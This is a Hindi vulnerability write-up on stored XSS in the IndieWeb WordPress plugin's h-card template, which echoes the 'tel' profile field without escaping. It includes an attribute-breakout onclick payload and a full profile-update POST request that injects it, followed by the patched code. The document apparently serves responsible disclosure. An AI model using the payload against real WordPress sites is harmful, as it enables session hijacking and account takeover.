
IndieWeb WordPress प्लगइन में प्रमाणित संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और नैतिक प्रकटीकरण के लिए बनाई गई है। इस कमजोरी की सूचना विक्रेता को जिम्मेदारी से दी गई है और इसे पैच किया जा चुका है। उचित प्राधिकरण के बिना सिस्टम का शोषण करने के लिए इस जानकारी का उपयोग न करें।
वर्डप्रेस के IndieWeb प्लगइन (संस्करण <= 4.0.5) में एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी पाई गई। यह कमजोरी लेखक या उच्च विशेषाधिकार वाले प्रमाणित हमलावरों को अपने उपयोगकर्ता प्रोफ़ाइल के "टेलीफ़ोन" फ़ील्ड में दुर्भावनापूर्ण JavaScript इंजेक्ट करने की अनुमति देती है।
जब "Author Profile H-Card Widget" को फ्रंटएंड पर प्रदर्शित किया जाता है, तो इंजेक्ट की गई स्क्रिप्ट उचित सैनिटाइज़ेशन के बिना रेंडर हो जाती है। यदि कोई उच्च विशेषाधिकार प्राप्त उपयोगकर्ता, जैसे कि व्यवस्थापक, हेरफेर किए गए लिंक पर क्लिक करता है, तो स्क्रिप्ट उनके ब्राउज़र संदर्भ में निष्पादित होती है। इससे सत्र अपहरण, अनधिकृत प्रशासनिक कार्रवाइयाँ और पूर्ण खाता अधिग्रहण (ATO) हो सकता है।
<= 4.0.5मुख्य समस्या प्लगइन के टेम्प्लेटिंग सिस्टम में उपयोगकर्ता मेटाडेटा के असुरक्षित प्रबंधन में है, विशेष रूप से वर्डप्रेस के अंतर्निहित एस्केपिंग फ़ंक्शन का उपयोग करने में विफलता।
कमजोर फ़ाइल: templates/h-card.php (पंक्ति 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
दोष:
प्लगइन सीधे उपयोगकर्ता के tel मेटाडेटा को href HTML विशेषता के अंदर echo का उपयोग करके आउटपुट करता है, बिना इसे esc_attr() में लपेटे। यह हमलावर को एक क्राफ्टेड स्ट्रिंग प्रदान करने की अनुमति देता है जिसमें एक डबल-कोट (") शामिल है ताकि href विशेषता को समय से पहले बंद किया जा सके, उसके बाद मनमानी HTML विशेषताएँ (जैसे style या onclick)।
<= 4.0.5 सक्रिय हो।/wp-admin/profile.php) पर जाएँ।href विशेषता से बाहर निकलता है):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) पर लेखक की जानकारी प्रदर्शित करने के लिए रेंडर होता है।POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
इस कमजोरी को पैच करने के लिए, प्लगइन डेवलपर्स को वर्डप्रेस के esc_attr() और esc_html() फ़ंक्शन का उपयोग करके आउटपुट को ठीक से एस्केप करना होगा।
पैच किया गया कोड उदाहरण:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>